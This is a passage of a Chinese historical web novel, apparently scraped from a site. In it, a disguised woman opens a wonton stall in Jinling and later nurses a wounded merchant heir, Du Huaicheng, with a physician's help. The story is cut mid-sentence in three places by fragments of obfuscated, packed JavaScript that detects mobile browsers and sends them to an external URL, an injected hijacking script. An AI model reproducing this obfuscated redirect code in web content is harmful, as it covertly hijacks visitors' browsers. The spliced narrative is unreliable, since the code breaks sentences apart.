房主原是对老夫妇，唯一的姑娘早年嫁去了江宁府。前年老头没了，留老太婆一人过活，原本女儿女婿是要接她去的，老太太舍不得离开住了一辈子的窝，坚辞不去。上月姑娘又给姑爷家添了个男孩，借口要娘家妈去帮着带孩子，才哄着老太太去江宁长住，这处房子便空了出来。女儿做主挂牙行租赁，租钱倒不要紧，就是找个干净、妥当的帮忙看房子。价格定得不上不下，能接受的嫌屋子小住不开，不嫌小的嫌租价不够实惠，就这么一直没找到合适的租户。 刘梨一眼就看上了这房子隐蔽、清净，外边瞧着破，门户、围墙修得却比别家结实。当即签了租契。牙行的看她一个面黄肌瘦的妇人，多打听了几句，刘梨只说是和丈夫从江北来金陵讨生活的。男人长年跑船，家里的事都由她做主。 牙行也不知道信没信，反正这片鱼龙混杂，住的什么人都有，他也懒得问个明白，交付好钥匙，嘱咐完刘梨注意门户就告辞。 刘梨关好门，解开厚实的面巾，畅快地长呼一气。她仔细盘算过，渡口全在都水监的控制范围，如果贸然跑去，难保很快就被抓住。不如先躲回城里避避风头。 她想好了，等过上半年，攒够盘缠就回刘庄去。她要回去给干爹干娘尽孝，什么伍子骥、杜淮琤都滚开，她就在村里安安稳稳过完下半辈子。 有了目标，手底下收拾起来也更松快了。 第二日就出门去寻活计。赁房给她的牙人不做掮客，得知刘梨想找活干，建议她去城门楼下试试运气。 荒废的旧城门，早失去了抵御外敌的作用。楼下一片空地不知什么时候起成了牛马市，暗地里也兼作人市。失业游民和骡马一起，聚在空地上任人挑选。 刘梨没敢贸然动作，掩着面巾在人群里观察。健壮的男丁不缺买主，阳山碑材的徭役，浦洲码头的苦力从来都缺少人手；剩下的女人和孩子，干净齐整的才有机会被买为奴婢，然后流入哪家宅院劳作一生。 这都不是刘梨想要的。 忽而人群一阵骚动，不知哪来了两个差役。这里没人愿意和官府扯上关系，市场上立刻生起一片混乱。刘梨不敢多作盘桓，压低身子，混在人群里回到小院。 白白奔走了一日，掏钥匙的时候难免泄气。隔壁的门吱呀一声开了道缝，一个男人侧身出来，看到刘梨先是一愣，旋即低头匆匆走开。 门后跟出来一个小娘子，面貌端正，身条婀娜。看到刘梨也是意外，旋即笑道：“我说昨晚上好像听到隔壁有动静，原来新搬了人。”她鬓发微散，这样冷的天气衣衫单薄，露出大半个白花花的胸脯。 刘梨行了一礼，“是，我刚搬来隔壁。男人出门跑船去了。”那女子一哂，她又没问，小女子急吼吼把自家男人搬出来，太显刻意了，而且刚才的做派，也不像跑船家的女人。话一出口，刘梨也后悔，自己分明此地无银三百两，看对面神色也是一脸了然，愈发窘迫，暗暗叮咛自己以后还需更加谨言慎行。 杜淮琤眼下青黑，唇上青虚虚的胡茬，与往日清俊的模样大相径庭。掌管诸仓漕粮的仓监收了银子，只淡淡传出一句话，“拉来官仓的粮食，你们杜家就当沉了江吧。” 这都不遮掩了！摆明了和都水监一个鼻孔出气，敢这么明目张胆营私舞弊，想来是背后有人撑腰。 前日白水来信，窖藏陈酒的岩洞突然暗河暴涨，淹了好几个大窖。有些深的窖洞，直接被流石掩埋，连洞口都找不到。西岭酒坊早前就储粮告急，指望杜淮琤江南筹粮，久等不来运粮的漕船，整个酒坊不得不停工。临近年底，多少客商的货打了水漂。各地分号拿不出货来，按书契只得加倍赔偿。徽吉分号折损最严重，不但被人砸了楼，店里还有伙计挨了打，官府到现在连打人者都没找到。与之相反，流失的客人纷纷转投陆家酒舍，不少多年的老主顾也跟过去了。 从年初的青苗税，到现在桩桩件件，矛头都指向杜家。“杜氏几百年基业，难道就要毁在杜淮琤之手？” 曲府的门房居高临下，“杜爷请回吧，天也晚了，老爷吩咐不见外客。” “瞎了你的狗眼，这是你家姑爷，还不速速通禀！” 那门房抬着小指剔牙，“大爷休要胡说，我家大小姐尚待字闺中，你们别瞎攀附，污了我家小姐名节。” 程锏上前就是一掌，扇得那人龇牙咧嘴。“狗仗人势的东西，我家二爷平日待你们不薄，一个个姑爷长姑爷短地讨封赏，这会倒不认账了！我待要杀进府去，把你们这些狗眼通通挖出来！” 杜淮琤也不喝止程锏发狠，自己闯进门，直往曲西阜书房而去。一路拦阻的家丁不少，挨过杜二爷打后，再也不敢有人上前。 曲西阜就听外头一阵喧嚷，还不等管事魏先良发问，杜淮琤后脚已踏进书房。 “岳翁安泰。”他和往常一样行礼。 曲西阜手足无措，还是魏先良从旁提醒，将人搀起。 “贤……侄不必多礼。” 杜淮琤假装没听见他改换的称谓，“夤夜来访，权因有要事相商，望世伯见谅。”大家都是聪明人，既然流水落花，明月照沟，那就把话索性挑明了。 曲西阜给魏先良一个眼色，后者退出并带上门。 杜淮琤开门见山，“我家的事世伯想必有所耳闻。”曲西阜这会冷静下来，安然坐下道：“是啊，这家里无人坐镇就是不行，贤侄出来日久，得赶紧回去料理才是。” 杜淮琤颔首微笑，撩袍在他下首坐定。曲西阜看他俊逸潇洒，神态翛然，真是好郎君，可惜了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021183|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小侄也正有回去的意思，只是还想跟世伯借些东西，借到了立刻回程。” 曲西阜低头喝茶，茶水刚才已见了底，他假意抿了口，不喊人添水也不给杜淮琤上茶。 他时间紧迫，耗不得了。“还求世伯再匀我两船粮食，感念……” 话没说完，对面的曲西阜重重放下茶盏，打断他没说完的话。“杜二你未免欺人太甚，前些日子刚给你装了满满三船的粮食，你现在又跟我要，我曲家又不是聚宝盆，哪有那么多粮食填你的无底洞？” “曲爷不知，都水监扣了我的船，这会子粮食都在官仓里押着。曲爷先借我两船粮食救急，我这里再央告杨少监，那里官仓放了粮立刻还给曲家。” 曲西阜眯了眯眼，“杜淮琤你当我三岁小儿不成？你惹了都水监，惹了宁王，杜家就要完啦。还要我曲家把粮食往你这无底洞里填？劝你早歇了这份心思！” 杜淮琤也发了狠，“曲西阜！你和杨澄狼狈为奸，以婚姻作诱，谋了我杜家一十八道舟楫航运，这会漕船到手翻脸不认人，你可知狡兔死走狗烹，宁王夺了我杜家，转头不会对你曲家下手吗？” 他不说漕船还好，听到这曲西阜咬起牙，“别提你那船了，刚到水上就断了联系，满船的货物全便宜了水匪，你知道那些货都是谁的吗？那可是……”生生压下话头，转而道：“杨澄杨少监俱已呈禀宁王，宁王亲自着令护卫营出兵剿匪。”他站起身，“我现在巴不得和漕船撇清关系，也请你赶紧离开曲家，不要再来了。” 杜淮琤身上发冷，机械地站起身。书房外突然嘈杂起来，曲西阜不安地看向外头。 “二爷！二爷！”程锏挥舞刀鞘吓退两个家丁，其他人拿着家伙事不敢上前。“这些家伙鬼鬼祟祟，扣了咱们的马。恐怕有诈，咱们速速撤离！” 杜淮琤转身盯住曲西阜，老家伙吓得抱成一团，魏先良高喊“保护老爷！保护老爷！”一群人拢来将曲西阜围了个严实。 见此情形，杜淮琤还有什么不明白的？只得领了程锏往外去。 偌大的曲府，这会儿不见一个人影。直至曲廊，撞上一个小丫头。 “随我来。” 二人交换眼神，依言跟上，在假山湖石后见到了曲雪吟。 曲小姐脂粉未施，身着素衣，开门见山道：“父亲已经通知了护卫营，宁王亲兵马上赶到。” “曲小姐这是何意？” “我劝不了爹爹和光同尘，他与宁王勾连太深，曲家跑不掉了。” 杜淮琤默然。 “这湖石下有道暗门连着外巷，你们现在跑或许还有一线生机。” 程锏跳下去查看一番，确实有道不起眼的暗门，转身朝杜淮琤点点头。 “多谢小姐相救，大恩不言谢。”又沉吟道：“只是我这一走，杜家与曲家便是站在了对立面，你不怕我他朝得势，放虎归山？” 院墙外有火光亮起，曲雪吟在光亮里粲然一笑，“杜淮琤，你永远成不了虎。” 杜淮琤一愣，郑重向曲雪吟施一大礼，“曲小姐真豪杰也。”她聪明通透，比曲西阜、魏先良他们看得远，若不是因女子身份束缚，她的成就远不止这宅院之内。杜淮琤愿意称她为豪杰，不关乎性别。 曲雪吟看他们身影消失在假山内，心内暗道，杜淮琤，你瞻前顾后思虑太多，你的杜氏家业、寡嫂侄儿、还有你心里的人，都是你的拖累，你不够心狠，成不了虎。 你不够心狠，不像伍子骥。 58. 五十八 城垣之内 刘梨想找的活计一直没有眉目，偌大的金陵城，却似没她一个女人家的活路。 她把九鹿儿给的银丁香砸得看不出原来面目，才拿去换了些铜钿，那枚足金戒指没敢动，塞在床下的地缝里。钱要紧省着花，既然没有进项就节省开支，她一个人也能把日子过起来。 白日里去清凉山捡回不少柴火，赶在落日前回了家。隔壁又送出一个男人——和上次的不是同一个。 刘梨不打算窥探别人秘辛，卸下柴火掏钥匙。 “你还真有点本事，一个人背这么些柴火回来，要是放到集市上，也能卖几个钱。”女人倚在门边，绞着长发闲闲道。 “当真能卖钱？”刘梨一喜，开锁的动作停下来。 扑哧！女人笑出声来。“真好骗。这样成色的柴火也就自家用不嫌弃，背去卖可是要遭人白眼的。”刘梨刚燃起的希望又熄灭了。 “怎的？你男人不给你家用？”这些天进进出出的就小娘子一个，家里不像有其他人的样子。 “给、给的，是我自己想存些体己。”刘梨不擅扯谎，尽量不与她目光接触。 女人也不揭穿，“也是，男人没个可靠的！我前头那死鬼男人，腿一蹬走了，他死得倒脆生，留我一人在世上受罪。” 原来也是个苦命的。刘梨不知该怎么接茬，鬼使神差道：“姐姐家里也没柴吧，要不我分你点？” 那女人倒不客气，也不说自己搬，开了另一扇门，直叫刘梨给她背进来。 以后绝不烂好人，做“包子”了。 她这院儿比刘梨的大上些，不过那棵苦楝树占了院落老大地方，黄叶落尽，只在枝头挂了几颗干瘪的果儿。靠着树顺势搭了间柴房。刘梨匀出一半柴背进柴房，扫到角落里放了一副挑担，虽然落了灰，然担子里锅炉灶无不齐备。 “这是我死鬼男人的，以前做的是卖浆水的营生，不过他心黑，兑水多，缺大德的，活该死得早。” 刘梨看着担子默不作声，心里萌生出一个想法。女人瞧她盯着挑担出神，“怎的？你想要？” “是，我在家没个进项，想拿去做点小买卖。要多少钱姐姐开口，价钱若合适我回去凑凑。” 女人撇了撇嘴，“收了你的柴原不好意思跟你要钱，不过到底是我男人留下的念想，你给几个子儿意思意思就拿去吧。” 刘梨大喜，拿不准给多少钱，打怀里掏出所有铜钿摊在手上，一齐伸到女人面前。 纤细的一双手，本来应该很好看。现下沾了柴屑泥灰，手心还划了几道口子，袖子也被勾破了边。女人长叹口气，拈了七八枚铜子，其他的推了回去。 “留着碍眼，快拿走！别等我反悔。” 瞧她一脸欢喜挑了出去，心里腹诽这小女子自讨苦吃。又见刘梨折回，把外面所有柴都背了进来，也不说话，只一脸憨笑。 “我叫芸香，你叫什么？” “我，家里人叫我阿梨。”留了个心眼，没说出全名。 “阿梨”，芸香念了念，“没我的名字好听。”旋又抿嘴一笑，“我原来没有名字，在娘家叫二妮，嫁人后叫周家的，‘芸香’…是我那相好给起的。”说到这她难得带了些羞意，“他读过书有学问，说‘芸香’是味好药材，祛风清热、消肿止痒，他说我啊，能解他的痒！” 刘梨闹了个大红脸，讷讷道：“就是刚才那位先生吗？倒是……没看出来。” “呸！他算个什么东西，才不是他。”发觉今天话多了些，改口说要补觉，叫刘梨拿了挑担快走。这芸香虽然性情古怪，倒是没什么弯弯绕绕的直肠子，也是个妙人。 刘梨到家迫不及待就开始收拾那副挑担，擦洗干净了，直接就能用。芸香的先夫或许是奸商，但绝对是个讲究人。挑担一头是小炉灶，上坐铁锅，锅内用了细密的铁篾子一分为二；另一头是个木柜，上两层抽屉可以放碗勺、佐料，下头隔层大，可以放水桶、面馅等。 当天夜里刘梨翻来覆去睡不着，熬到天亮，去市集买了些菜蔬生肉，又购齐面粉佐料，回来的路上看见有卖河鲜的，咬咬牙用最后几个铜子换了几只鲜活的虾。 回来先把虾养上，进了她的小厨房就是一通折腾。临晌午的时候，院里尽是鲜香四逸。 敲开芸香的门，刘梨捧着大海碗，笑眯眯道：“芸香姐你帮我尝尝，看看味道可还行？” 芸香一脸没睡醒的样子，“我说一大早哪家嘣嘣响直闹腾，原来是你，扰了老娘清梦，就为……一碗馄饨？” 刘梨又把碗往前凑了凑，“尝尝，看我这手艺能出摊吗？”芸香倚着门，困得不想理她。刘梨舀起一只馄饨，吹了吹，送到她嘴边。 屋里头有了动静，芸香想赶紧把人打发走，一口吃下送到嘴边的馄饨。嚼了嚼，困顿的眼睛突然放大。 “嗯？” “嗯！”鼓着腮帮子，口齿不清道：“再来点汤。” 刘梨给她喂了一勺，芸香把碗抢过去，哪还管什么烫不烫，连吃了两个。 “可惜没鸡汤，我吊的素高汤，味道还行吗？” “太行了！”芸香放下碗，“真是你自己做的？”刘梨重重点点头。 “阿梨，你会发财的。”刘梨得到肯定笑弯了眼，催她趁热吃。芸香倒停下了，朝屋里望了一眼，难得腼腆道：“我不吃了，给他吃。”丢下刘梨回屋，然后里头一阵窸窸窣窣。 刘梨给她带上门，欢欢喜喜回了家。不一会有人扣门，是芸香来归还碗。 “这小院被你收拾得不错。”看到墙根水盆里养的虾，“怪道那么鲜，馅儿里放了虾，你这本钱可不小。” 刘梨把她迎进来，指着那副挑担道：“我想今天就出摊去，你说好吃，我就有信心了。” “哪就那么简单？你去往哪儿出摊，定价几何？”这些刘梨还真没想过。 芸香就在灶台旁小杌子坐下，帮着出主意。“咱们这片人口不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021184|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不过小门小户的难得在外头吃，舍不得花那钱；码头那儿倒是人多，可苦力们饭量大，吃食不讲究，便宜管饱就行，你这馄饨太精细，他们吃这个可不够；城东富户多，但是高门大户，不见得能瞧上这些外头的吃食。”刘梨听她一通分析，心凉了半截。 芸香沉思良久，一拍大腿道：“还是去秦淮河！那儿粉头狎客多，虽是见惯吃惯的，但你这小食占个细巧和新鲜，夜里头勾栏院里弄点宵夜，一碗热腾腾的馄饨正好。” 刘梨在桃叶渡有过不堪，连带着对秦淮河那片都有些发憷，心里就不大乐意。芸香会错了意，“怕什么？你是要挣钱还是要脸面？” 刘梨现下当然是要钱。 河舫里的女校书慵懒倚阑干，刚送走一位西边来的客人，浑身乏力。一晚上歌而侑觞，没怎么吃东西，小丫头劝她多少用点，满桌精馔佳肴，她只提不起兴趣。 桥上过了一个挑担的娘子，衣着打扮和这十里秦淮很不搭调，不免多看了两眼。挑子前头咕咕冒着热气，有香味儿传来，唤小丫头买一碗去。 刘梨下晚挑了担子出来，心里忐忑，初时“实干创业”的精神头到了这会儿有点发蔫。金陵繁华，街心市井，至夜尤盛。街上有衙差巡街，每每相与，刘梨都是远远避开。她不知道伍子骥有没有找她，虽做了伪装，也不敢吆喝，到现在一碗没卖出去，无头苍蝇般走到这平桥通巷的地方。 “你卖的什么？”小丫头声音脆生生的。 终于来了主顾，刘梨忙回道：“馄饨，自家做的馄饨。” 小丫头递给她一个粉彩碗，“煮一碗来尝尝，用我们自己的碗盛。” 开锅坐水，很快煮出一碗馄饨，撒把葱花，点了点香油，瓷碗里白绿相间，小丫头闻着味儿忍不住咽了咽口水。 “多少钱？” “不瞒姐儿，你是我第一个主顾，这碗送你的。”小丫头不置可否，只觉得这人古怪，道了声谢走了。 没一会儿那丫头又回来，“我们姑娘说了，只听说爷们儿给姑娘打赏首饰、衣裳的，没的叫娘子打赏碗馄饨。这是姑娘给你的钱，我们姑娘说你做的好吃，以后便宜的话常往这条街走动。”刘梨道谢，接过客人给的三文钱，终于开张了！ 打那后常往这条街走动，许是那天的姑娘同别的姐妹说起过，刘梨的生意还过得去。偶有寻芳客尝个新鲜，吃满意了，意外能得些赏钱。刘梨把钱慢慢攒起，每日勤勉做活，幻想着攒够了盘缠早日回北地郡去。 风月场里过，偶有醉酒的客人，嘴里不干不净想与刘梨调笑，定睛打量是个黄脸的妇人，这条街上哪个女人不比她鲜亮？遂歇了心思。芸香也一直劝她在外凶悍起来，刘梨见过几回花娘骂人的场面，学着做出个泼辣样儿，慢慢也就不大有浮浪子来招惹。 从此秦淮河畔多了个“馄饨娘子”，她没有招幌，也不吆喝，担子前头系一串细碎的铜铃，听到铃声就知道那家很好吃的馄饨摊来了。 59. 五十九 杏林世家 “这么说你是挣到钱了？”芸香一脸兴味。 “够自己的嚼裹儿，算不上挣钱。” 这日刘梨置了几样菜，喊芸香家吃，也算答谢她对自己“创业”的支持。 “你倒不嫌弃我寡妇失业的晦气，还愿意喊我上门。”其实还有一层意思芸香没说，邻近几家不大看得上她，也不光是嫌弃她寡妇身份，这女人常招惹些男人上门，狐媚魇道的，叫人不齿。 刘梨来自异世，理解饮食男女人之大欲，更重要的原因是这世道给女人的选择太少。她自己尝试过，知道求生不易。秦淮河那么些花娘，风光的不风光的，哪个不是身不由己？要是有别的选择，何至于倚栏卖笑，遭人厌弃？ 所以能有自己的小买卖，她很知足。 “都是窝在城垣根下讨生活的人，谁也强不了多少，谈不上谁看不起谁。” “我知道，外头那些人没少在背后排揎我。”她拿帕子压了压眼角。“我能有什么办法，回去让娘家再卖我一次？还不如在这里熬着，过一天算一天罢了。” 刘梨也没有更好的话安慰，盛了碗热汤给她，陪着坐了会儿。芸香哭够了，又恢复了往常神色，“瞧我，放着好菜饭不吃，白废了你的好手艺。” 打起精神，伊两个围着小桌亲亲热热吃了一回。用过饭，芸香帮着收拾，“你家跑船的男人怎还不见回来？有个男人从旁帮衬，你也轻省点。” “快、快了。”刘梨连忙岔开话题，“对了，那天送馄饨给你，我瞧你对屋里那位与别个不同，想来是顶喜欢的？” 芸香脸颊染上红云，“就是给我起名字的那个。他可有本事，若不是被那起子黑心肠的害了，也不会窝在我们这小地方。” 刘梨怕她被人蒙蔽，提醒道：“男人惯会说什么‘怀才不遇’、‘壮志难酬’那套哄骗女人，你可别被诓了去。” “他不是，华璟是有真本事的。他出生杏林世家，少有才名。你刚来金陵不知道，多年前城里出了桩公案，宁王府的家奴糟蹋了一个姑娘，那孩子年岁小没敢说，等家里人发现的时候都显怀了。” “那怎么办？报官了吗？” “报了，听说是宁王府的，哪个衙门敢接？那恶奴嚣张得很，对外说既然有了就生下来，若生的是个小子再给姑娘一个名分。” “欺人太甚！就没有王法了吗？” 芸香摇摇头，“那腌臢货都能当小姑娘爹了，做父母的怎么舍得？想把肚子里的孽种打掉，多少郎中惧怕宁王府的势力不敢接。后来找上我相好的开了几副药，才把孩子流了。” “阿弥陀佛”，刘梨念了声佛，“那恶人后来没再缠磨他们？” “当然不甘心。那户人家等女儿稍养好身子就搬去了外埠，泼皮找不到人就拿我相好的撒气，砸了他的药铺，扬言让他在城里待不下去。可惜华郎一身的本事，却无处施展，只能窝在城南这块儿做个游方郎中。”说完捏着帕子一声叹息。 刘梨劝道，“你与他欢情一场，互相也是个安慰。” 芸香复笑道：“可不是，自打和他好上，别的男人都入不了我眼。前头那些个我都断了干系，只与他欢好。”芸香质朴天真，毫不扭捏，有什么话都不避讳刘梨。“对了，你卖馄饨需要肉，不妨去东市找我前头那个相好的，卖肉的邢二。那小子丑是丑，说话也冲，但是嘴硬心软，卖肉从来童叟无欺。你去同他买，提我的名字兴许便宜些。” 刘梨对现在常光顾的那家肉档确实不大满意，肉不够新鲜还短秤，无奈周遭只他一家肉铺，听说芸香有门路，第二天一早就去了东市。 邢二的肉档好找，芸香原话是“你看大冷天还袒露肩臂的就是邢二。”刘梨瞧过摆出来的肉确实新鲜，才上前道明来意。 邢二听明白了，也不废话，拿起刀就割肉，一脸横肉的大男人边动刀边说芸香那小女人好狠的心，说断就断了联系，他是真心想娶她过门的。 刘梨听他絮絮叨叨，手下一点不耽误，割了肥瘦三七比的梅花肉包好，还送了一小块猪板油，又另包了一块猪血托她带给芸香。 刘梨付钱谢过，回去的路上总觉得心慌，好似有双眼睛一直盯着她，回头找却没发现异常，只得把面巾裹紧赶快归家。 这天夜里收了摊，漱洗过躺下，将睡未睡间，突然听到院里“喀啦”一声轻响。刘梨猛地惊醒，屏息静听。她这屋子一边是芸香的院子，一边临着城墙。墙高数丈，光滑无依，断不会有人从城墙下来。想必是挑开了门闩摸进来的。 粗重的脚步声来到门外停下。 她住的这间屋子可以说家徒四壁，歹人进来连藏的地方都没有。情急之下刘梨点亮油灯，期盼亮光可以把贼人吓退。 万籁俱寂，刘梨攥紧被子大气都不敢出。仿佛过了很久，才听一个熟悉的声音低声道：“刘姑娘。” 刘梨惊起，跳下床打开门。只见程锏一袭黑衣，背上一个人默无声息，低着头看不出生死。 “快进来！” 把人放到床上，借着一点灯火刘梨才认出那是杜淮琤！ 程锏给他掖好被子，从怀里掏出一只瓷瓶摆在桌上。“刘姑娘，二爷托付给你，这是伤药，请你务必照顾好他！” “这到底怎么回事？谁伤了你们？” “来不及解释，我待得越久这里越不安全。我还要去徽州接应修齐，二爷拜托你了！” 不容她回绝，程锏转身潜入黑暗之中。 刘梨压下扑通通的心跳，仔细关上门。回屋挑亮灯芯，杜淮琤应是失血过多，这会面如金纸，唇上没一点血色，干得脱了皮。 锅子上还有热水，她兑了碗温的。唤了几声，杜淮琤毫无反应。想用汤匙喂水下去，全从嘴边流了出来。只得沾了几滴，勉强给他润了润唇。 知道杜淮琤素来喜净，给他轻轻擦了手脸。衣上血迹干涸，她不知杜淮琤伤在哪儿，不敢去翻动他。靠在床边守了一夜，心说等醒了再问他个明白。 第二日天明，杜淮琤毫无醒转的迹象。刘梨大着胆子给他褪了外衣，胸口被草草包扎着，血已经渗出白布。她哆哆嗦嗦揭开裹帘，尺把长的伤痕从肩膀一直延伸到心口。伤口血肉混着药粉，一片狰狞。 刘梨颤着手给他清理干净伤处，换药的时候杜淮琤呻吟了两声，依然没醒。下午的时候，便发起烧来。 “杜淮琤，杜淮琤，我要怎么办？”他从来都是龙神马壮的样子，仿佛世上没有任何事能难倒他这样的天之骄子。可现在杜淮琤在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021185|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，躺在她破败的小屋里，等着生命慢慢流逝。 刘梨突然想到什么，抹了把眼泪，跑到隔壁咚咚敲门。 芸香咕囔着打开门，见刘梨疯了一样往屋里闯。“怎么了？这是怎么了？” “华大夫呢，华大夫在不在？” 芸香扶住她，“他出诊去了，这会不在里头。” 刘梨几乎站不住，“求求你帮我找他回来，我男人快不行了！” 漆黑的屋子里，刘梨一个人不知道坐了多久。 “诶哟，怎么连个灯都没有？” 听到动静，刘梨失了的魂仿佛才回来，连忙起身，“大夫，求求你快救救我男人！” 华璟被芸香一路拽了回来，她鲜少主动找他，这么着急肯定是出了要紧的事。不过做大夫的，碰到的哪一桩都是人命关天的事。 面前的妇人哭得几乎站不住脚，一双眼蓄满泪水，不住地央求他救救榻上的男人。 华璟狐疑地看过她的脸，才去查看昏迷的男子。 “多掌些灯来。” “哦哦，我回去拿。”芸香原本也在观察床上的男人，闻言立刻跑回去拿来灯。 华璟查看过伤口，心里有了数。 “大夫，他怎么样？” “有我在，没什么大事。”边说边取药箱。 刘梨心下一松，扶住桌子才没跌倒。华璟给芸香使了个眼色，让她把刘梨扶出去。 “这就是你那跑船的男人？” 夜风微凉，吹得刘梨清醒几分。“是的，昨天夜里被送回来的。说是被水匪所伤，我守了一夜不见他醒来，这才麻烦你去请华大夫。” “你我之间谈什么麻烦不麻烦？你安心，我那位说没事就没事。”刘梨点点头，心里为欺瞒芸香惭愧不已。“我男人的事你不要同外人说，我怕惹出不必要的事端。” 芸香了然，“我省得的，你放心。”又问她有没有吃饭，刘梨哪里吃得下去？摇摇头，看着窗户上映出的影子，只求华璟早点将人救治回来。 她们进去的时候华璟正在收拾药箱。刘梨到床边查看，不确定是不是心理原因，瞧着杜淮琤脸色比方才好看了些许。 “我给他缝了针，重新上了药。”华璟提笔开方，芸香替他掌灯。 “这几幅药，三碗水熬成一碗，等他醒了给他服下。我这几日还会再来。” 刘梨连忙谢过，掏出个鼓鼓的钱袋放到药箱上。 “阿梨……”芸香刚想开口说不必。刘梨打断她：“多谢华大夫救我相公性命，这些诊金还请先生务必收下。我们夫妇初来乍到，在金陵安身不容易，还请先生不要将今日事对外提起。” 华璟在外行医，日常打交道的五行八作都有，刚才诊治过男子伤情，一双眼早洞悉无遗。 他收下钱袋，神色如常，嘱咐道：“等他醒了，先不要喂荤腥。拿白米熬出厚厚的米油来，少喂一点，以后再慢慢加餐。” 直到两人回了自家院子，芸香还在抱怨，“她一个小女子成天出摊卖馄饨，才攒下几个钱全给了你。刚才我跟你一个劲地使眼色，你就不知道客气点吗？” 华璟叹了口气，搂过芸香，在她脑门上点了点，“你呀，以后交朋友多长长眼！” 60. 六十 身无长物 杜淮琤微睁了眼，看帐顶不像他们之前住的客店。想喊程锏，张了张嘴发不出声。身体还不能动，他尝试侧过头。一颗头颅紧偎着他，两排羽睫弯出优美的弧度，睡梦里还在不安地轻颤。可能是因为哭过，眼角还留有泪痕，与面颊黄黄的肌肤形成奇妙对比。 杜淮琤想不到还能见到她，一度以为身在梦里。疼痛让他回归现实，又悲又喜。心软下来，就着窗外渐明的天光将刘梨的样子深深描摹在心底。 她又靠着床睡着了，身上披的衣裳不知道何时滑落下去。身上发冷，刘梨一个寒栗甦醒过来。抬头，就对上一双眼。 “醒了？”她顾不得自己沙哑的嗓音，欣喜地睁大眼。杜淮琤由着她探上自己额头，欢喜道：“太好了，退烧了。” “怎么把我送到你这儿了？”他很是介意。 “前天夜里程锏背你来的，他让我照顾好你就走了。” 杜淮琤闭着眼，努力回忆昏迷前的事情。他们在曲雪吟的掩护下逃出曲家，躲开了城里的官兵，好不容易逃到渡口却遇上了都水监的人。程锏带着他一路厮杀，甩开了追随的官兵躲回城里。他们在东市潜藏了几日，不想被伍子骥的人发现，对方人手多，混战中杜淮琤替程锏挡了一刀，后来他就不知道了。 东市，难怪那天刘梨总觉得被人盯上，想来程锏就是那时候认出她的。 “程锏一个人走比带着我方便，只是他不该把我带到你这儿。”那个人到处在搜捕他，他不想牵连别人。 刘梨不理会，“我熬了米粥，一直温着，你先吃点垫吧垫吧，晚些再把药喝了。” 她去厨房端粥，杜淮琤这时才打量房内，不大的一间屋子，桌椅全是旧的，除了身下这张床再别无长物。寝具也是半旧的，浆洗得很干净。枕上有她的香味，仿佛是她还偎依在旁，令他莫名的心安。 刘梨端着粥碗进门，意识到杜淮琤躺在自己床上，说不出的怪异。他是朱门绣户养出的纨绔，富贵乡里长大的膏粱，现下重伤躺在这阴暗的棚屋里，和她这个异世前来的魂灵一起，窝在腐朽的角落暗自伤神，说不上谁比谁更可怜。 “怎么了？”他敏锐察觉到她的低落。 “没什么。可能坐起来？” 躺得太久，动一下就牵到伤口，疼得他直抽冷气。“别动，就这么躺着，我来喂你。” 按华璟的吩咐，将白米熬成厚厚的米油，凝脂一般。她舀了小半勺，吹透了喂到他嘴边。“慢点，别呛着。” 杜淮琤一直盯着她动作，竟有些庆幸伤了这场。晨光照着刘梨半张脸，给她染上圣洁的光彩，即使蓬门荜户，也掩不了她的美丽。 他有很多问题想问她，问她为什么独居在此？为什么乔装改扮？为什么没和伍子骥在一起？他们的婚约可还作数？但此刻太美好，他不忍出声破坏，生生将问题憋回肚里。 拿帕子给他擦拭，手指在唇上扫过，差点叫他破功。杜淮琤忙撇开脸，在心底暗骂自己。刘梨以为他吃不惯，解释说：“你刚醒，现在只能吃这个。待会喝过药再睡会儿，等华大夫来了，我再问他能不能吃别的。” 没想到听完这话他挣扎起来，刘梨按住他：“你做什么！” “我得走，不能把你牵扯进来。” “我早就牵扯进来了。”她眼中含着悲悯，“伍子骥，他一直是宁王的人，他要借助宁王势力为伍家翻案昭雪。” 杜淮琤知道的比她多，“宁王一直觊觎储君之位，‘厌祷案’后圣上迟迟没有立储的旨意。宁王没耐心等，他想起事，要钱要粮。粮，他不会放过曲家；要钱，于是盯上了我杜家。”杜淮琤躺倒，无奈苦笑。 “所以你得快快好起来，白水杜家还需要你坐镇。”给他掖紧被子，刘梨低声劝道：“再躺一会，药熬好了我叫你。” 杜淮琤听他哄修齐一样哄自己，心里涌起复杂的情绪。“你说的华大夫可还靠得住？” “我瞧着华大夫有些仗义豪情在身上，应该可靠的。” 点灯的时候，华璟前来复诊。他查看过杜淮琤胸前伤情，重新上了药。 华璟留了一副美髯，边切脉边抚须道：“毕竟是年轻底子好，伤口恢复得还可以。这些天不要随意挪动，药也不能停。” 